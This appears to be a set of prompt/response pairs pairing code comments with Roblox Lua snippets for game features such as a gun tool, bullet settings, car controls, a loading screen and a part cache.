Prompt:
--------------------------------------------------------------------------------------
--------------------[ TOOL SELECTION AND DESELECTION ]--------------------------------
--------------------------------------------------------------------------------------

Response:
function OnEquipped(M_Icon)
	wait(math.random(10, 40) / 100)
	if Humanoid.Health ~= 0 and (not Selected) and Gun.Parent == Character then
		Selected = true

		BreakReload = false

		--------------------[ FAILSAFE RESETING ]-------------------------------------

		for _, GM in pairs(Ignore_Model:GetChildren()) do
			if GM.Name == "Gun_Ignore_"..Player.Name then
				GM:Destroy()
			end
		end

		for _,c in pairs(Connections) do
			c:disconnect()
		end

		Connections = {}

		--------------------[ CREATING IGNORE MODELS ]--------------------------------

		Gun_Ignore = Instance.new("Model")
		Gun_Ignore.Name = "Gun_Ignore_"..Player.Name
		Gun_Ignore.Parent = Ignore_Model

		--------------------[ MODIFYING THE PLAYER ]----------------------------------

		M_Icon.Icon = "rbxasset://textures\\Blank.png"

		Gui_Clone = Main_Gui:Clone()
		Gui_Clone.Parent = Player.PlayerGui

		SetUpGui()

		Shoulders.Right.Part1 = nil
		Shoulders.Left.Part1 = nil

		PrevNeckCF.C0 = Neck.C0
		PrevNeckCF.C1 = Neck.C1

		BG = Instance.new("BodyGyro", HRP)
		BG.maxTorque = VEC3(HUGE, HUGE, HUGE)
		BG.Name = "BG"
		BG.P = 1e5
		BG.cframe = CF(Torso.CFrame.p, Torso.CFrame.p + Torso.CFrame.lookVector)

		local PlayerFolder = Instance.new("Model")
		PlayerFolder.Name = "PlayerFolder"
		PlayerFolder.Parent = Gun_Ignore

		local AnimBase = Instance.new("Part")
		AnimBase.Transparency = 1
		AnimBase.Name = "AnimBase"
		AnimBase.CanCollide = false
		AnimBase.FormFactor = Enum.FormFactor.Custom
		AnimBase.Size = VEC3(0.2, 0.2, 0.2)
		AnimBase.BottomSurface = Enum.SurfaceType.Smooth
		AnimBase.TopSurface = Enum.SurfaceType.Smooth
		AnimBase.Parent = PlayerFolder

		AnimWeld = Instance.new("Weld")
		AnimWeld.Part0 = AnimBase
		AnimWeld.Part1 = Head
		AnimWeld.C0 = CF(0, 1, 0)
		AnimWeld.Parent = AnimBase

		local ArmBase = Instance.new("Part")
		ArmBase.Transparency = 1
		ArmBase.Name = "ArmBase"
		ArmBase.CanCollide = false
		ArmBase.FormFactor = Enum.FormFactor.Custom
		ArmBase.Size = VEC3(0.2, 0.2, 0.2)
		ArmBase.BottomSurface = Enum.SurfaceType.Smooth
		ArmBase.TopSurface = Enum.SurfaceType.Smooth
		ArmBase.Parent = PlayerFolder

		ABWeld = Instance.new("Weld")
		ABWeld.Part0 = ArmBase
		ABWeld.Part1 = AnimBase
		ABWeld.Parent = ArmBase

		local LArmBase = Instance.new("Part")
		LArmBase.Transparency = 1
		LArmBase.Name = "LArmBase"
		LArmBase.CanCollide = false
		LArmBase.FormFactor = Enum.FormFactor.Custom
		LArmBase.Size = VEC3(0.2, 0.2, 0.2)
		LArmBase.BottomSurface = Enum.SurfaceType.Smooth
		LArmBase.TopSurface = Enum.SurfaceType.Smooth
		LArmBase.Parent = PlayerFolder

		local RArmBase = Instance.new("Part")
		RArmBase.Transparency = 1
		RArmBase.Name = "RArmBase"
		RArmBase.CanCollide = false
		RArmBase.FormFactor = Enum.FormFactor.Custom
		RArmBase.Size = VEC3(0.2, 0.2, 0.2)
		RArmBase.BottomSurface = Enum.SurfaceType.Smooth
		RArmBase.TopSurface = Enum.SurfaceType.Smooth
		RArmBase.Parent = PlayerFolder

		LWeld = Instance.new("Weld")
		LWeld.Name = "LWeld"
		LWeld.Part0 = ArmBase
		LWeld.Part1 = LArmBase
		LWeld.C0 = ArmC0[1]
		LWeld.C1 = S.ArmC1_UnAimed.Left
		LWeld.Parent = ArmBase

		RWeld = Instance.new("Weld")
		RWeld.Name = "RWeld"
		RWeld.Part0 = ArmBase
		RWeld.Part1 = RArmBase
		RWeld.C0 = ArmC0[2]
		RWeld.C1 = S.ArmC1_UnAimed.Right
		RWeld.Parent = ArmBase

		LWeld2 = Instance.new("Weld")
		LWeld2.Name = "LWeld"
		LWeld2.Part0 = LArmBase
		LWeld2.Part1 = LArm
		LWeld2.Parent = LArmBase

		RWeld2 = Instance.new("Weld")
		RWeld2.Name = "RWeld"
		RWeld2.Part0 = RArmBase
		RWeld2.Part1 = RArm
		RWeld2.Parent = RArmBase

		if S.PlayerArms then
			FakeLArm = LArm:Clone()
			FakeLArm.Parent = PlayerFolder
			FakeLArm.Transparency = S.FakeArmTransparency
			FakeLArm:BreakJoints()

			LArm.Transparency = 1

			local FakeLWeld = Instance.new("Weld")
			FakeLWeld.Part0 = FakeLArm
			FakeLWeld.Part1 = LArm
			FakeLWeld.Parent = FakeLArm

			FakeRArm = RArm:Clone()
			FakeRArm.Parent = PlayerFolder
			FakeRArm.Transparency = S.FakeArmTransparency
			FakeRArm:BreakJoints()

			RArm.Transparency = 1

			local FakeRWeld = Instance.new("Weld")
			FakeRWeld.Part0 = FakeRArm
			FakeRWeld.Part1 = RArm
			FakeRWeld.Parent = FakeRArm

			Instance.new("Humanoid", PlayerFolder)

			for _,Obj in pairs(Character:GetChildren()) do
				if Obj:IsA("CharacterMesh") or Obj:IsA("Shirt") then
					Obj:Clone().Parent = PlayerFolder
				end
			end
		else
			local ArmTable = CreateArms()
			ArmTable[1].Model.Parent = PlayerFolder
			ArmTable[2].Model.Parent = PlayerFolder

			FakeLArm = ArmTable[1].ArmPart

			LArm.Transparency = 1

			local FakeLWeld = Instance.new("Weld")
			FakeLWeld.Part0 = FakeLArm
			FakeLWeld.Part1 = LArm
			FakeLWeld.Parent = FakeLArm

			FakeRArm = ArmTable[2].ArmPart

			RArm.Transparency = 1

			local FakeRWeld = Instance.new("Weld")
			FakeRWeld.Part0 = FakeRArm
			FakeRWeld.Part1 = RArm
			FakeRWeld.Parent = FakeRArm
		end

		--------------------[ MODIFYING THE GUN ]-------------------------------------

		for _, Tab in pairs(Parts) do
			local Weld = Instance.new("Weld")
			Weld.Name = "MainWeld"
			Weld.Part0 = Handle
			Weld.Part1 = Tab.Obj
			Weld.C0 = Tab.Obj.WeldCF.Value
			Weld.Parent = Handle
			Tab.Weld = Weld
		end

		Grip = RArm:WaitForChild("RightGrip")

		local HandleCF = ArmBase.CFrame * ArmC0[2] * S.ArmC1_Aimed.Right:inverse() * CF(0, -1, 0, 1, 0, 0, 0, 0, 1, 0, -1, 0)
		local HandleOffset = AimPart.CFrame:toObjectSpace(Handle.CFrame)
		Aimed_GripCF = (Head.CFrame * HandleOffset):toObjectSpace(HandleCF)

		--------------------[ CONNECTIONS ]-------------------------------------------

		INSERT(Connections, Humanoid.Died:connect(function()
			OnUnequipped(true)
		end))

		INSERT(Connections, M2.Button1Down:connect(function()
			MB1_Down = true
			if S.GunType.Auto and (not S.GunType.Semi) and (not S.GunType.Burst) then
				if (not CanFire) then return end
				CanFire = false
				if (not Running) and (not Knifing) then
					CurrentSpread = (
						Aimed and S.Spread.Aimed or
						((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking)
					)
					while MB1_Down and (not Reloading) do
						if Knifing then break end
						if Running then break end
						if Ammo.Value > 0 then
							Ammo.Value = Ammo.Value - 1
							if Humanoid.Health ~= 0 then
								if Aimed and Run_Key_Pressed and S.UnSteadyOnFire then
									Run_Key_Pressed = false
									CurrentSteadyTime = 0
								end
								Fire_Gun()
							end
						end
						if Ammo.Value == 0 and S.AutoReload then
							wait(0.2)
							Reload()
						end
						wait(60 / S.FireRate)
					end
				end
				CanFire = true
			elseif (not S.GunType.Auto) and S.GunType.Burst then
				if (not CanFire) then return end
				CanFire = false
				if (not Running) and (not Knifing) then
					CurrentSpread = (
						Aimed and S.Spread.Aimed or
						((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking)
					)
					for i = 1, S.BurstAmount do
						if Ammo.Value > 0 then
							Ammo.Value = Ammo.Value - 1
							if Humanoid.Health ~= 0 then
								if Aimed and Run_Key_Pressed and S.UnSteadyOnFire then
									Run_Key_Pressed = false
									CurrentSteadyTime = 0
								end
								Fire_Gun()
							end
						end
						if Ammo.Value == 0 and S.AutoReload then
							wait(0.2)
							Reload()
							break
						end
						wait(S.BurstTime / S.BurstAmount)
					end
				end
				wait(S.BurstWait)
				CanFire = true
			elseif (not S.GunType.Auto) and S.GunType.Semi then
				if (not CanFire) then return end
				CanFire = false
				if (not Running) and (not Knifing) then
					CurrentSpread = (
						Aimed and S.Spread.Aimed or
						((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking)
					)
					if Ammo.Value > 0 then
						Ammo.Value = Ammo.Value - 1
						if Humanoid.Health ~= 0 then
							if Aimed and Run_Key_Pressed and S.UnSteadyOnFire then
								Run_Key_Pressed = false
								CurrentSteadyTime = 0
							end
							Fire_Gun()
						end
					end
					if Ammo.Value == 0 and S.AutoReload then
						wait(0.2)
						Reload()
					end
					wait(60 / S.FireRate)
				end
				CanFire = true
			elseif (not S.GunType.Auto) and (not S.GunType.Semi) and (not S.GunType.Burst) and S.GunType.Shot then
				if (not CanFire) then return end
				CanFire = false
				if (not Running) and (not Knifing) then
					CurrentSpread = (
						Aimed and S.Spread.Aimed or
						((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking)
					)
					if Ammo.Value > 0 then
						Ammo.Value = Ammo.Value - 1
						if Humanoid.Health ~= 0 then
							if Aimed and Run_Key_Pressed and S.UnSteadyOnFire then
								Run_Key_Pressed = false
								CurrentSteadyTime = 0
							end
							Fire_Gun()
						end
					end
					if Ammo.Value == 0 and S.AutoReload then
						wait(0.2)
						Reload()
					end
					wait(60 / S.FireRate)
				end
				CanFire = true
			elseif (not S.GunType.Auto) and (not S.GunType.Semi) and S.GunType.Burst and (not S.GunType.Shot) then
				if (not CanFire) then return end
				CanFire = false
				if (not Running) and (not Knifing) then
					CurrentSpread = (
						Aimed and S.Spread.Aimed or
						((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking)
					)
					for i = 1, S.BurstAmount do
						if Ammo.Value > 0 then
							Ammo.Value = Ammo.Value - 1
							if Humanoid.Health ~= 0 then
								if Aimed and Run_Key_Pressed and S.UnSteadyOnFire then
									Run_Key_Pressed = false
									CurrentSteadyTime = 0
								end
								Fire_Gun()
							end
						end
						if Ammo.Value == 0 and S.AutoReload then
							wait(0.2)
							Reload()
							break
						end
						wait(S.BurstTime / S.BurstAmount)
					end
				end
				wait(S.BurstWait)
				CanFire = true
			elseif (not S.GunType.Auto) and (not S.GunType.Burst) and (not S.GunType.Shot) and S.GunType.Explosive then
				if (not CanFire) then return end
				CanFire = false
				if (not Running) and (not Knifing) then
					CurrentSpread = (
						Aimed and S.Spread.Aimed or
						((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking)
					)
					if Ammo.Value > 0 then
						Ammo.Value = Ammo.Value - 1
						if Humanoid.Health ~= 0 then
							if Aimed and Run_Key_Pressed and S.UnSteadyOnFire then
								Run_Key_Pressed = false
								CurrentSteadyTime = 0
							end
							Fire_Gun()
						end
					end
					if Ammo.Value == 0 and S.AutoReload then
						wait(0.2)
						Reload()
					end
					wait(60 / S.FireRate)
				end
				CanFire = true
			end
		end))

		INSERT(Connections, M2.Button1Up:connect(function()
			MB1_Down = false
			CurrentSpread = (
				Aimed and S.Spread.Aimed or
				((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking)
			)
		end))

		INSERT(Connections, M2.Button2Down:connect(function()
			if S.HoldMouseOrKeyToADS then
				if (not AimingIn) and (not Aimed) then
					AimingIn = true
					AimGun()
					AimingIn = false
				end
			else
				if Aimed then
					UnAimGun()
				else
					AimGun()
				end
			end
		end))

		INSERT(Connections, M2.Button2Up:connect(function()
			if S.HoldMouseOrKeyToADS then
				if (not AimingOut) and Aimed then
					AimingOut = true
					UnAimGun()
					AimingOut = false
				end
			end
		end))

		INSERT(Connections, M2.KeyDown:connect(KeyDown))

		INSERT(Connections, M2.KeyUp:connect(KeyUp))

		INSERT(Connections, RS:connect(function()
			local CrossHair = Gui_Clone:WaitForChild("CrossHair")
			local HitMarker = Gui_Clone:WaitForChild("HitMarker")
			local HUD = Gui_Clone:WaitForChild("HUD")
			local AdBlock = Gui_Clone:WaitForChild("AdNeed")

			AdBlock.Visible = true
			AdBlock.Position = UDim2.new(0, 0, 0, 0)
			AdBlock.Size = UDim2.new(1, 0, 0, 20)
			AdBlock.TextStrokeTransparency = 0.9
			AdBlock.TextTransparency = 0.8
			AdBlock.Font = Enum.Font.SourceSansItalic
			AdBlock.FontSize = Enum.FontSize.Size14
			AdBlock.TextColor3 = Color3.new(255,255,255)
			AdBlock.Text = ("~ NOISUFOBRUT & TEHYUM YB ~"):reverse()

			CrossHair.Position = UDim2.new(0, M2.X, 0, M2.Y)
			HitMarker.Position = UDim2.new(0, M2.X - 13, 0, M2.Y - 13)

			local Clip_Ammo_L = HUD:WaitForChild("Ammo"):WaitForChild("Clip")
			local Stored_Ammo_L = HUD:WaitForChild("Ammo"):WaitForChild("Stored")
			Clip_Ammo_L.Text = Ammo.Value
			Clip_Ammo_L.TextColor3 = (Ammo.Value <= (ClipSize.Value / 7) and Color3.new(1, 1, 1) or Color3.new(1, 1, 1))
			Stored_Ammo_L.Text = StoredAmmo.Value
			Stored_Ammo_L.TextColor3 = (StoredAmmo.Value <= (ClipSize.Value * 1) and Color3.new(1, 1, 1) or Color3.new(1, 1, 1))

			local Mode = HUD:WaitForChild("Mode"):WaitForChild("Main")
			if S.GunType.Auto
			and (not S.GunType.Semi)
			and (not S.GunType.Burst)
			and (not S.GunType.Explosive) then

				Mode.Text = "Auto"

			elseif (not S.GunType.Auto)
			and S.GunType.Burst
			and (not S.GunType.Explosive) then

				Mode.Text = "Burst"

			elseif (not S.GunType.Auto)
			and S.GunType.Semi
			and (not S.GunType.Explosive) then

				Mode.Text = "Semi"

			elseif (not S.GunType.Auto)
			and (not S.GunType.Semi)
			and (not S.GunType.Burst)
			and S.GunType.Shot
			and (not S.GunType.Explosive) then

				Mode.Text = "Shotgun"

			elseif (not S.GunType.Auto)
			and (not S.GunType.Semi)
			and S.GunType.Burst
			and (not S.GunType.Shot)
			and (not S.GunType.Explosive) then

				Mode.Text = "Burst"

			elseif S.GunType.Explosive then

				Mode.Text = "Explosive"

			end

			HUD.Health.Num.Text = CEIL(Humanoid.Health).."%"
			HUD.Health.Num.TextColor3 = (
				(Humanoid.Health > 200 / 3) and Color3.new(1, 1, 1) or
				(Humanoid.Health <= 200 / 3 and Humanoid.Health > 100 / 3) and Color3.new(1, 1, 0) or
				(Humanoid.Health <= 100 / 3) and Color3.new(1, 0, 0)
			)
		end))

		INSERT(Connections, RS:connect(function()
			local MDir = M2.UnitRay.Direction.unit

			local HRPCF = HRP.CFrame * CF(0, 1.5, 0) * CF(Humanoid.CameraOffset)
			Neck.C0 = Torso.CFrame:toObjectSpace(HRPCF)

			if MDir.y == MDir.y then
				HeadRot = -math.asin(MDir.y)
				Neck.C1 = CFANG(HeadRot,0,0)

				local RotTarget = VEC3(MDir.x,0,MDir.z)
				local Rotation = CF(Torso.Position,Torso.Position + RotTarget)
				BG.cframe = Rotation

				local MouseX = FLOOR((M2.X - M2.ViewSizeX / 2) + 0.5)
				local MouseY = FLOOR((M2.Y - M2.ViewSizeY / 2) + 0.5)
				local AppliedMaxTorque = nil
				if (Camera.CoordinateFrame.p - Head.Position).magnitude < 0.6 then
					if (MouseX >= 50 or MouseX <= -50)
					or (MouseY >= 50 or MouseY <= -50) then
						AppliedMaxTorque = VEC3()
					else
						AppliedMaxTorque = VEC3(HUGE,HUGE,HUGE)
					end
				else
					AppliedMaxTorque = VEC3(HUGE,HUGE,HUGE)
				end
				if (not S.RotateWhileSitting) and Humanoid.Sit then
					AppliedMaxTorque = VEC3()
				end
				BG.maxTorque = AppliedMaxTorque
			end
		end))

		INSERT(Connections, RS:connect(function()
			local Forward = (Keys["w"] or Keys[string.char(17)])
			local Backward = (Keys["s"] or Keys[string.char(18)])
			local Right = (Keys["d"] or Keys[string.char(19)])
			local Left = (Keys["a"] or Keys[string.char(20)])

			local WalkingForward = (Forward and (not Backward))
			local WalkingBackward = ((not Forward) and Backward)
			local WalkingRight = (Right and (not Left))
			local WalkingLeft = ((not Right) and Left)

			ArmTilt = (
				((WalkingForward or WalkingBackward) and WalkingRight) and 5 or
				((WalkingForward or WalkingBackward) and WalkingLeft) and -5 or
				((not (WalkingForward and WalkingBackward)) and WalkingRight) and 10 or
				((not (WalkingForward and WalkingBackward)) and WalkingLeft) and -10 or 0
			)
		end))

		INSERT(Connections, RS:connect(function()
			if (not Idleing) and Walking then
				if Running then
					Humanoid.WalkSpeed = S.SprintSpeed
				else
					local SpeedRatio = (S.AimedWalkSpeed / S.BaseWalkSpeed)
					if Stance == 0 then
						Humanoid.WalkSpeed = (Aimed and S.AimedWalkSpeed or S.BaseWalkSpeed)
					elseif Stance == 1 then
						Humanoid.WalkSpeed = (Aimed and S.CrouchWalkSpeed * SpeedRatio or S.CrouchWalkSpeed)
					elseif Stance == 2 then
						Humanoid.WalkSpeed = (Aimed and S.ProneWalkSpeed * SpeedRatio or S.ProneWalkSpeed)
					end
				end
			else
				Humanoid.WalkSpeed = 16
			end

			StanceSway = 1 - (0.25 * Stance)
		end))

		--------------------[ ANIMATE GUN ]-------------------------------------------

		Animate()
	end
end

function OnUnequipped(DeleteTool)
	if Selected then
		Selected = false

		BreakReload = true

		--------------------[ MODIFYING THE PLAYER ]----------------------------------

		Camera.FieldOfView = 90

		game:GetService("UserInputService").MouseIconEnabled = true

		Gui_Clone:Destroy()
		BG:Destroy()

		RArm.Transparency = 0
		LArm.Transparency = 0

		Shoulders.Right.Part1 = RArm
		Shoulders.Left.Part1 = LArm

		Neck.C0 = PrevNeckCF.C0
		Neck.C1 = PrevNeckCF.C1

		Humanoid.WalkSpeed = 16

		--------------------[ RESETING THE TOOL ]-------------------------------------

		Gun_Ignore:Destroy()

		Aimed = false

		for _, Tab in pairs(Parts) do
			Tab.Weld:Destroy()
			Tab.Weld = nil
		end

		for _,c in pairs(Connections) do
			c:disconnect()
		end

		Connections = {}

		if DeleteTool then
			Camera:ClearAllChildren()
			Gun:Destroy()
		end

		if S.StandOnDeselect and Stance ~= 0 then Stand(true) end
	end
end

Gun.Equipped:connect(OnEquipped)
Gun.Unequipped:connect(function() OnUnequipped(false) end)


Prompt: -- Constants

Response:
local DEBUG = false								-- Whether or not to use debugging features of FastCast, such as cast visualization.
local BULLET_SPEED = 100							-- Studs/second - the speed of the bullet
local BULLET_MAXDIST = 1000							-- The furthest distance the bullet can travel
local BULLET_GRAVITY = Vector3.new(0, -workspace.Gravity, 0)		-- The amount of gravity applied to the bullet in world space (so yes, you can have sideways gravity)
local MIN_BULLET_SPREAD_ANGLE = 1					-- THIS VALUE IS VERY SENSITIVE. Try to keep changes to it small. The least accurate the bullet can be. This angle value is in degrees. A value of 0 means straight forward. Generally you want to keep this at 0 so there's at least some chance of a 100% accurate shot.
local MAX_BULLET_SPREAD_ANGLE = 4					-- THIS VALUE IS VERY SENSITIVE. Try to keep changes to it small. The most accurate the bullet can be. This angle value is in degrees. A value of 0 means straight forward. This cannot be less than the value above. A value of 90 will allow the gun to shoot sideways at most, and a value of 180 will allow the gun to shoot backwards at most. Exceeding 180 will not add any more angular varience.
local FIRE_DELAY = 0.05							-- The amount of time that must pass after firing the gun before we can fire again.
local BULLETS_PER_SHOT = 1							-- The amount of bullets to fire every shot. Make this greater than 1 for a shotgun effect.
local PIERCE_DEMO = true							-- True if the pierce demo should be used. See the CanRayPierce function for more info.


Prompt: -- KEY SETTINGS

Response:
local Headlights = Enum.KeyCode.L

local RunningLights = Enum.KeyCode.N

local FogLights = Enum.KeyCode.J

local SignalLeft = Enum.KeyCode.Z

local SignalRight = Enum.KeyCode.C

local Hazards = Enum.KeyCode.X

local Popups = Enum.KeyCode.B

local Flash = Enum.KeyCode.L


Prompt: -- If this script is added to an already-running game, this will set up the GUI for the players already in-game:

Response:
for _,p in pairs(game.Players:GetPlayers()) do
	repeat wait() until (p:findFirstChild("PlayerGui"))
	if (p.Character) then
		gui:clone().Parent = p.PlayerGui
	end
	characterHandling(p)
end

game.Players.PlayerAdded:connect(function(p)
	characterHandling(p)
end)


Prompt: -- Variable Viaduct

Response:
local ModelPad = script.Parent.Parent
local PhysPad = ModelPad.PhysPad

local Configs = ModelPad.Configs
local JumpHeight = Configs.JumpHeight


Prompt:
--[=[
	@param fn (player: Player, ...: any) -> nil -- The function to connect
	@return Connection
	Connect a function to the signal. Anytime a matching ClientRemoteSignal
	on a client fires, the connected function will be invoked with the
	arguments passed by the client.
]=]

Response:
function RemoteSignal:Connect(fn)
	if self._directConnect then
		return self._re.OnServerEvent:Connect(fn)
	else
		return self._signal:Connect(fn)
	end
end

function RemoteSignal:_processOutboundMiddleware(player: Player?, ...: any)
	if not self._hasOutbound then
		return ...
	end
	local args = table.pack(...)
	for _,middlewareFunc in ipairs(self._outbound) do
		local middlewareResult = table.pack(middlewareFunc(player, args))
		if not middlewareResult[1] then
			return table.unpack(middlewareResult, 2, middlewareResult.n)
		end
		args.n = #args
	end
	return table.unpack(args, 1, args.n)
end


Prompt:
--module is tagged "EffectModule"
--client gets all modules with this tag and calls initialize()

Response:
local CameraShaker = require(game.ReplicatedStorage.Modules.CameraShaker)
local camera = game.Workspace.CurrentCamera

local module = {}

local camShake = CameraShaker.new(Enum.RenderPriority.Camera.Value, function(shakeCFrame)
	camera.CFrame = camera.CFrame * shakeCFrame
end)

camShake:Start()

local minimumDistance = 300

function module.Initialize()
	while script.Parent and script.Parent ~= nil do
		wait(math.random(60,120))
		local distance = (camera.CFrame.Position - script.Parent.Position).Magnitude
		if distance <= minimumDistance then
			camShake:Shake(CameraShaker.Presets.Earthquake)
		end
			script.Parent.Erupt:Play()
			script.Parent.ParticleEmitter.Enabled = true
			wait(8)
			script.Parent.ParticleEmitter.Enabled = false
	end
end

return module


Response:
local screen = Instance.new("ScreenGui")
screen.Parent = PlayerGui

local textLabel = Instance.new("TextLabel")
textLabel.Text = "Loading"
textLabel.BackgroundTransparency = 1
textLabel.Position = UDim2.new(0.5,0,.5,0)
textLabel.TextStrokeColor3 = Color3.new(0,0,0)
textLabel.TextStrokeTransparency = 0
textLabel.TextColor3 = Color3.new(1,1,1)
textLabel.AnchorPoint = Vector2.new(.5,.5)
textLabel.Size = UDim2.new(.6,0,.5,0)
textLabel.Font = Enum.Font.ArialBold
textLabel.TextScaled = true
textLabel.Parent = screen

script.Parent:RemoveDefaultLoadingScreen()

local count = 0
local start = tick()
while tick() - start < 6 do
textLabel.Text = "Loading " .. string.rep(".",count)
count = (count + 1) % 4
wait(.3)
end

screen.Parent = nil


Prompt: --Dupes a part from the template.

Response:
local function MakeFromTemplate(template: BasePart, currentCacheParent: Instance): BasePart
	local part: BasePart = template:Clone()
	-- ^ Ignore W000 type mismatch between Instance and BasePart. False alert.

	part.CFrame = CF_REALLY_FAR_AWAY
	part.Anchored = true
	part.Parent = currentCacheParent
	return part
end

function PartCacheStatic.new(template: BasePart, numPrecreatedParts: number?, currentCacheParent: Instance?): PartCache
	local newNumPrecreatedParts: number = numPrecreatedParts or 5
	local newCurrentCacheParent: Instance = currentCacheParent or workspace

	--PrecreatedParts value.
	--Same thing. Ensure it's a number, ensure it's not negative, warn if it's really huge or 0.
	assert(numPrecreatedParts > 0, "PrecreatedParts can not be negative!")
	assertwarn(numPrecreatedParts ~= 0, "PrecreatedParts is 0! This may have adverse effects when initially using the cache.")
	assertwarn(template.Archivable, "The template's Archivable property has been set to false, which prevents it from being cloned. It will temporarily be set to true.")

	local oldArchivable = template.Archivable
	template.Archivable = true
	local newTemplate: BasePart = template:Clone()
	-- ^ Ignore W000 type mismatch between Instance and BasePart. False alert.

	template.Archivable = oldArchivable
	template = newTemplate

	local object: PartCache = {
		Open = {},
		InUse = {},
		CurrentCacheParent = newCurrentCacheParent,
		Template = template,
		ExpansionSize = 10
	}
	setmetatable(object, PartCacheStatic)

	-- Below: Ignore type mismatch nil | number and the nil | Instance mismatch on the table.insert line.
	for _ = 1, newNumPrecreatedParts do
		table.insert(object.Open, MakeFromTemplate(template, object.CurrentCacheParent))
	end
	object.Template.Parent = nil

	return object
	-- ^ Ignore mismatch here too
end


Response:
local Car		= script.Parent.Car.Value
local Values 	= script.Parent.Values
local _Tune 	= require(Car["A-Chassis Tune"])
local Handler	= Car:WaitForChild("INTERIOR_PACK")
local FE		= workspace.FilteringEnabled

local INT_PCK = nil
for _,Child in pairs(Car.Misc:GetDescendants()) do
	if Child:IsA("ObjectValue") and Child.Name == "INTERIOR_PACK" then INT_PCK = Child.Value end
end
if INT_PCK == nil then script:Destroy() end

local HB = INT_PCK:FindFirstChild("Handbrake")
local PS = INT_PCK:FindFirstChild("Paddle_Shifter")
local PD = INT_PCK:FindFirstChild("Pedals")
local SH = INT_PCK:FindFirstChild("Shifter")
local SW = INT_PCK:FindFirstChild("Steering_Wheel")

local Val = 0
local SEQ = 1
if SEQ_INVERTED then SEQ = -1 end
local PED = 1
if PED_INVERTED then PED = -1 end

local Gear = Values.Gear.Changed:Connect(function()
	local Gear = Values.Gear.Value
	local Shift = "Down"
	if Gear > Val then Shift = "Up" end
	Val = Gear

	if FE then
		Handler:FireServer("Gear",Gear,Shift,PADDLE_SHIFTER,PEDALS,SHIFTER,PS,PD,SH,PADDLE_ANG,PADDLE_INVERTED,SHIFTER_TYPE,SEQ,SHIFT_TIME,VERTICAL_ANG,HORIZONTAL_ANG)
	else

		if PEDALS and PD ~= nil then
			PD.C.Motor.DesiredAngle = math.rad(PEDAL_ANGLE)*PED
		end

		if PADDLE_SHIFTER and PS ~= nil then
			if Shift == "Up" then
				if PADDLE_INVERTED then
					PS.L.Motor.DesiredAngle = math.rad(PADDLE_ANG)
				else
					PS.R.Motor.DesiredAngle = math.rad(PADDLE_ANG)
				end
			else
				if PADDLE_INVERTED then
					PS.R.Motor.DesiredAngle = math.rad(PADDLE_ANG)
				else
					PS.L.Motor.DesiredAngle = math.rad(PADDLE_ANG)
				end
			end
			wait(SHIFT_TIME/2)
			PS.R.Motor.DesiredAngle = 0
			PS.L.Motor.DesiredAngle = 0
		end

		if SHIFTER and SH ~= nil then
			local MOT1 = SH.W1.Motor
			local MOT2 = SH.W2.Motor
			MOT2.DesiredAngle = 0
			wait(SHIFT_TIME/2)
			if SHIFTER_TYPE == "Seq" then
				if Shift == "Up" then
					MOT2.DesiredAngle = math.rad(VERTICAL_ANG)*SEQ
					wait(SHIFT_TIME/2)
					MOT2.DesiredAngle = 0
				else
					MOT2.DesiredAngle = -math.rad(VERTICAL_ANG)*SEQ
					wait(SHIFT_TIME/2)
					MOT2.DesiredAngle = 0
				end
			else
				if Gear == -1 then
					MOT1.DesiredAngle = math.floor((#_Tune["Ratios"]-1)/4)*2*math.rad(HORIZONTAL_ANG)
					wait(SHIFT_TIME/2)

					if #_Tune["Ratios"] % 2 == 0 then MOT2.DesiredAngle = math.rad(VERTICAL_ANG)
					else MOT2.DesiredAngle = -math.rad(VERTICAL_ANG) end

				elseif Gear == 0 then
					MOT1.DesiredAngle = 0

				elseif Gear > 0 then
					if Shift == "Up" then
						if Val == 0 then
							MOT1.DesiredAngle = -math.floor((#_Tune["Ratios"]-1)/4)*math.rad(HORIZONTAL_ANG)
							wait(SHIFT_TIME/2)
							MOT2.DesiredAngle = math.rad(VERTICAL_ANG)
						elseif Gear % 2 == 0 then
							MOT2.DesiredAngle = -math.rad(VERTICAL_ANG)
						else
							MOT1.DesiredAngle = MOT1.DesiredAngle + math.rad(HORIZONTAL_ANG)
							wait(SHIFT_TIME/2)
							MOT2.DesiredAngle = math.rad(VERTICAL_ANG)
						end
					else
						if Gear % 2 == 0 then
							MOT1.DesiredAngle = MOT1.DesiredAngle - math.rad(HORIZONTAL_ANG)
							wait(SHIFT_TIME/2)
							MOT2.DesiredAngle = -math.rad(VERTICAL_ANG)
						else
							MOT2.DesiredAngle = math.rad(VERTICAL_ANG)
						end
					end
				end
			end
		end

		if PEDALS and PD ~= nil then
			PD.C.Motor.DesiredAngle = 0
		end
	end
end)

local Throttle = Values.Throttle.Changed:Connect(function()
	local Throttle = Values.Throttle.Value
	if FE then
		Handler:FireServer("Throttle",Throttle,PEDALS,PD,PEDAL_ANGLE,PED)
	else

		if PEDALS and PD ~= nil then
			PD.T.Motor.DesiredAngle = math.rad(PEDAL_ANGLE*Throttle)*PED
		end
	end
end)

local Brake = Values.Brake.Changed:Connect(function()
	local Brake = Values.Brake.Value
	if FE then
		Handler:FireServer("Brake",Brake,PEDALS,PD,PEDAL_ANGLE,PED)
	else

		if PEDALS and PD ~= nil then
			PD.B.Motor.DesiredAngle = math.rad(PEDAL_ANGLE*Brake)*PED
		end
	end
end)

local PBrake = Values.PBrake.Changed:Connect(function()
	local PBrake = Values.PBrake.Value
	if FE then
		Handler:FireServer("PBrake",PBrake,HANDBRAKE,HB,HANDBRAKE_ANG)
	else

		if HANDBRAKE and HB ~= nil then
			if PBrake then
				HB.W.Motor.DesiredAngle = math.rad(HANDBRAKE_ANG)
			else
				HB.W.Motor.DesiredAngle = 0
			end
		end
	end
end)

game["Run Service"].Stepped:connect(function()
	local direction = Car.Wheels.FR.Base.CFrame:vectorToObjectSpace(Car.Wheels.FR.Arm.CFrame.lookVector)
	local direction2 = Car.Wheels.FL.Base.CFrame:vectorToObjectSpace(Car.Wheels.FL.Arm.CFrame.lookVector)
	local angle = ((math.atan2(-direction.Z, direction.X))+(math.atan2(-direction2.Z, direction2.X)))/2

	local Steer = -(angle-1.57)*STEER_MULT

	if STEERING_WHEEL and SW ~= nil then
		SW.W.Motor.DesiredAngle = Steer
	end
end)


Prompt:
